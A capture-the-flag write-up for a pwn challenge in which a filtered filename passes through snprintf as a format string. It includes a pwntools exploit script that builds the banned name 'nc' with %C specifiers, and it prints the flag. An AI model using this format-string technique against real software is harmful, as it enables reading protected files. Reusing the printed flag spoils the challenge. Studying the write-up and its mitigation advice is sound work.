I’ve only heard bad things about nc so I banned it.
Category: pwn
Solver: nh1729
Flag: GPNCTF{uP_AND_doWN_4Ll_aRound_GoE5_TH3_N_dIMEnSI0naL_CIrc1E_WTF_I5_tHis_f1ag}
Challenge Overview
The challenge consists of a small c
file that basically accepts a string from stdin
and uses it as the path of a file to dump. The flag is compiled as a string into the binary itself, which is named nc
. Further,
-
The read file name as c string must not include any character of
./nc
. -
Before being used, the input buffer
buf
is passed tosnprintf
char *filename = calloc(200, 1); snprintf(filename, (sizeof filename) - 1, buf);
Writeup
Since the flag is in the challenge binary, we want to read the nc
file - without using the banned characters. Thus, inputs like nc
or /proc/self/exe
are not possible.
However, we could use snprintf
to create a string that does include illegal characters even if the format string we provide does not. Looking into that, we noticed that sizeof filename
is 8
because it is the pointer size, not 200
as one might expect. From the snprintf
manual [1]:
The functions snprintf() and vsnprintf() do not write more than size bytes (including the terminating null byte (’\0’)).
Hence, we can actually only write 7
bytes.
To write characters other than those in the format string, we skimmed over the format specifiers in the same manual.
The obvious first solution is %c
, which prints a character from the arguments. However, c
is one of the forbidden characters. Instead, we found %C
, which does almost the same except for wide characters.
To exercise control over the printed characters, we created a small pwntools
script to quickly iterate our payload on a local deployment.
# ... boilerplate ...
from pwn
r = remote('localhost', 1337)
r.sendline(<payload>)
print(hexdump(r.recvall()))
Our progression of payloads went like this:
from pwn import *
r = remote('localhost', 1337)
...
# Find offset of argument 10 in our input buffer
r.sendline(b'%10$p'.ljust(8, b'\0') + b''.join(p64(i) for i in range(10)))
#> 0x3
...
# Minimize used offset
r.sendline(b'%7$p'.ljust(8, b'\0') + b''.join(p64(i) for i in range(10)))
#> (nil)
...
# Test with %C
r.sendline(b'%7$C'.ljust(8, b'\0') + p64(ord('n')))
#> n
...
# Build 'nc' string
r.sendline(b'%7$C%8$C'.ljust(8, b'\0') + p64(ord('n')) + p64(ord('c')))
#> I don't like your character
# Apparently, the null bytes hid the 'n' from the filter.
...
# build 'nc' + use null bytes
r.sendline(b'%8$C%9$C'.ljust(8, b'\0') + p64(0) + p64(ord('n')) + p64(ord('c')))
#> <lots of binary stuff>
...
# Extract the flag
r.sendline(b'%8$C%9$C'.ljust(8, b'\0') + p64(0) + p64(ord('n')) + p64(ord('c')))
print(re.search(br'GPNCTF\{.*?\}', r.recvall()).group(0))
b'GPNCTF{uP_AND_doWN_4Ll_aRound_GoE5_TH3_N_dIMEnSI0naL_CIrc1E_WTF_I5_tHis_f1ag}'
Mitigations
Do not pass untrusted user input as format into printf
family functions. As shown in this challenge, even if there are filters on the input, unexpected format specifiers can lead to surprising results.
In this challenge, the bug could have been prevented by using buf
as filename directly, instead of using the additional snprintf
step.